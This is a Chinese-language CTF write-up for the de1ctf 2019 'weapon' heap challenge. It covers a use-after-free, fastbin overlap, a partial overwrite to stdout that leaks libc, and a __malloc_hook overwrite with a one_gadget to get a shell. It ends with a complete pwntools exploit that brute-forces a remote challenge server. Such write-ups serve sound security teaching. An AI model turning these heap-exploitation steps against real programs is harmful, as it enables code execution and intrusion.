de1ctf_2019_weapon

题目链接:https://buuoj.cn/challenges#de1ctf_2019_weapon

查看保护

保护全开,改hook吧。

分析

进IDA

create

输入size,size>0且<=0x60,接着输入index,创建size大小的堆进v3指针。202068[4 * v2] 存放size,202060 + 2 * v2里存放v3指针。接下来输入name,跟进AF6看一下。

很正常的函数,上个自动化。

1
2
3
4
5
def create(size, index, name):
r.sendlineafter(menu, '1')
r.sendlineafter('wlecome input your size of weapon: ', str(size))
r.sendlineafter('input index: ', str(index))
r.sendafter('input your name:', name)

delete

释放对应index中的name,free之后没有清0,存在UAF

1
2
3
def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('input idx :', str(index))

rename

输入index,接下来重新输入content,很正常的程序。

1
2
3
def rename(index, name):
r.sendlineafter(menu, '3')
r.sendlineafter('new content:', name)

编写exp

因为这一题保护全开,但是要改hook,没有show,所以需要打stdout来泄露libc_base。利用UAF申请到stdout上修改flags泄露libc,用double free将hook覆盖成one_gadget即可getshell。

因为这题只能申请fastbin堆块,泄露unstortebin的main_arena的时候就需要堆重叠。先创建几个堆伪造fake_chunk,再通过释放,重启改size进行overlapping。

1
2
3
4
create(0x20, 0, p64(0) + p64(0x21))
create(0x10, 1, 'bbbb')
create(0x10, 2, 'cccc')
create(0x10, 3, p64(0x70)+p64(0x51))

delete1和2,此地fd指向chunk1,重新申请一下,改fd的低位,将fd指向chunk0。

1
2
3
delete(1)
delete(2)
rename(2, '\x10')

释放之后进行重启,先改的是chunk2,再改的是chunk0。

1
2
create(0x10, 4, 'dddd')
create(0x10, 5, '\x00')

因为要unstortedbin,所以需要改超过fastbin的size大小。创建两个chunk,为了释放0x100的时候,下一个堆块得写入presize,再创建一个chunk,防止与top_chunk合并。

1
2
3
create(0x30, 6, '\x00')
create(0x30, 7, '\x00')
create(0x30, 8, '\x00')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> x/50gx 0x555555605000
0x555555605000: 0x0000000000000000 0x0000000000000031 chunk0
0x555555605010: 0x0000000000000000 0x0000000000000021 chunk5
0x555555605020: 0x0000000000000000 0x0000000000000000
0x555555605030: 0x0000000000000000 0x0000000000000021 chunk1
0x555555605040: 0x0000000000000000 0x0000000000000000
0x555555605050: 0x0000000000000000 0x0000000000000021 chunk2 chunk4
0x555555605060: 0x0000555564646464 0x0000000000000000
0x555555605070: 0x0000000000000000 0x0000000000000021 chunk3
0x555555605080: 0x0000000000000070 0x0000000000000051
0x555555605090: 0x0000000000000000 0x0000000000000041 chunk6
0x5555556050a0: 0x0000000000000000 0x0000000000000000
0x5555556050b0: 0x0000000000000000 0x0000000000000000
0x5555556050c0: 0x0000000000000000 0x0000000000000000
0x5555556050d0: 0x0000000000000000 0x0000000000000041 chunk7
0x5555556050e0: 0x0000000000000000 0x0000000000000000
0x5555556050f0: 0x0000000000000000 0x0000000000000000
0x555555605100: 0x0000000000000000 0x0000000000000000
0x555555605110: 0x0000000000000000 0x0000000000000041 chunk8
0x555555605120: 0x0000000000000000 0x0000000000000000
0x555555605130: 0x0000000000000000 0x0000000000000000
0x555555605140: 0x0000000000000000 0x0000000000000000
0x555555605150: 0x0000000000000000 0x0000000000020eb1

接下来修改chunk5的size为0x71,接着释放它。

1
2
rename(0,p64(0x0)+p64(0x71))
delete(5)

可以看到5010已经进了fastbin了。看一下堆内存0x70包含了多少chunk。

接着将chunk5的size变成0x101,也就是释放后会成为unstortedbin的大小

1
rename(0, p64(0) + p64(0x101))

接下来就是释放chunk5进unstortedbin了。

1
delete(5)

unstortedbin有了。fastbin中也有main_arena是因为fd指向了main_arena接下来需要打stdout泄露libc_base。

在IO_FILE里的利用stdout泄露libc_base里面讲了flags的write_ptr end的设置。看一下stdout的地址吧。

最后三位是620不会变的,只需要改倒数第四位就可以了,但是stdout不能被直接做为chunk,因为过不了fastbin的检查。那么可以往上找找。

这个地址很不错呢。满足fastbin的检查,那接下来就是改chunk5的fd为25dd,2这个位置需要爆破随便写一个就行。还有一个前提就是chunk5的size要改为0x71,为了使用fastbin中。

1
2
rename(0, p64(0) + p64(0x71))
rename(5, '\xdd\x25')
1
2
3
4
pwndbg> x/20gx 0x555555605000
0x555555605000: 0x0000000000000000 0x0000000000000031
0x555555605010: 0x0000000000000000 0x0000000000000071
0x555555605020: 0x00007ffff7dd65dd 0x00007ffff7dd1b78

接下来重启chunk5这个位置,再启动就可以申请fd的这个位置。

1
create(0x60, 5, '\x00')

此时bin里只有fd这里的地址了。继续申请就会申请到这里,接下来修改9,也就是修改IO那里的数据。在IO那一章说了flags的设置等等。这里直接用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> p * stdout
$2 = {
_flags = -72537977,
_IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>,
_fileno = 1,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
}

所以p1这样填。

1
2
3
create(0x60, 9, '\x00')
p1 = '\x00' * (0x620-0x5dd-0x10) + p64(0xfbad1800) + p64(0)*3 + '\x00' #IO_write_base改小
rename(9,p1)

接下来就可以接收libc_base了。

1
2
3
4
5
6
7
r.recvuntil(p64(0xfbad1800) + p64(0) * 3)
r.recv(8)
libc_base = u64(r.recv(8)) - 131 -0x3c5620
success('libc_base = ' + hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one_gadget = one[1] + libc_base

double free打hook改one_gadget来getshell。

1
2
3
4
5
create(0x60,5,'\x00')
delete(5)
rename(5,p64(malloc_hook-0x23))
create(0x60,5,'\x00')
create(0x60,1,'\x00'*0x13 + p64(one_gadget))

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *

file_name = './z1r0'

'''
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
'''
elf = ELF(file_name)

libc = ELF('./2.23/libc-2.23.so')

def dbg():
gdb.attach(r)

menu = "choice >> "

def create(size, index, name):
r.sendlineafter(menu, '1')
r.sendlineafter('wlecome input your size of weapon: ', str(size))
r.sendlineafter('input index: ', str(index))
r.sendafter('input your name:\n', name)

def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('input idx :', str(index))

def rename(index, name):
r.sendlineafter(menu, '3')
r.sendlineafter('input idx: ', str(index))
r.sendafter('new content:\n', name)
def pwn():
create(0x20, 0, p64(0) + p64(0x21))
create(0x10, 1, 'bbbb')
create(0x10, 2, 'cccc')
create(0x10, 3, p64(0x70)+p64(0x51))

delete(1)
delete(2)

rename(2, '\x10')

create(0x10, 4, 'dddd')
create(0x10, 5, '\x00')

create(0x30, 6, '\x00')
create(0x30, 7, '\x00')
create(0x30, 8, '\x00')

rename(0,p64(0x0)+p64(0x71))

delete(5)

rename(0, p64(0) + p64(0x101))

delete(5)

rename(0, p64(0) + p64(0x71))

rename(5, '\xdd' + '\x65')

create(0x60, 5, '\x00')

create(0x60, 9, '\x00')

create(0x60, 9, '\x00')
p1 = b'\x00' * (0x620-0x5dd-0x10)
p1 += p64(0xfbad1800)
p1 += p64(0)*3
p1 += b'\x00' #IO_write_base改小
rename(9,p1)

r.recvuntil(p64(0xfbad1800) + p64(0) * 3)
r.recv(8)
libc_base = u64(r.recv(8)) - 131 -0x3c5620
success('libc_base = ' + hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one_gadget = one[1] + libc_base

create(0x60, 5, '\x00')
delete(5)
rename(5, p64(malloc_hook-0x23))
create(0x60, 5, '\x00')
create(0x60, 1, b'\x00' * 0x13 + p64(one_gadget))



if __name__ == '__main__':
while True:
try:
#r = process('./z1r0')
r = remote("node4.buuoj.cn","25950")
pwn()
r.interactive()
break
except Exception as e:
print(e)
r.close()
continue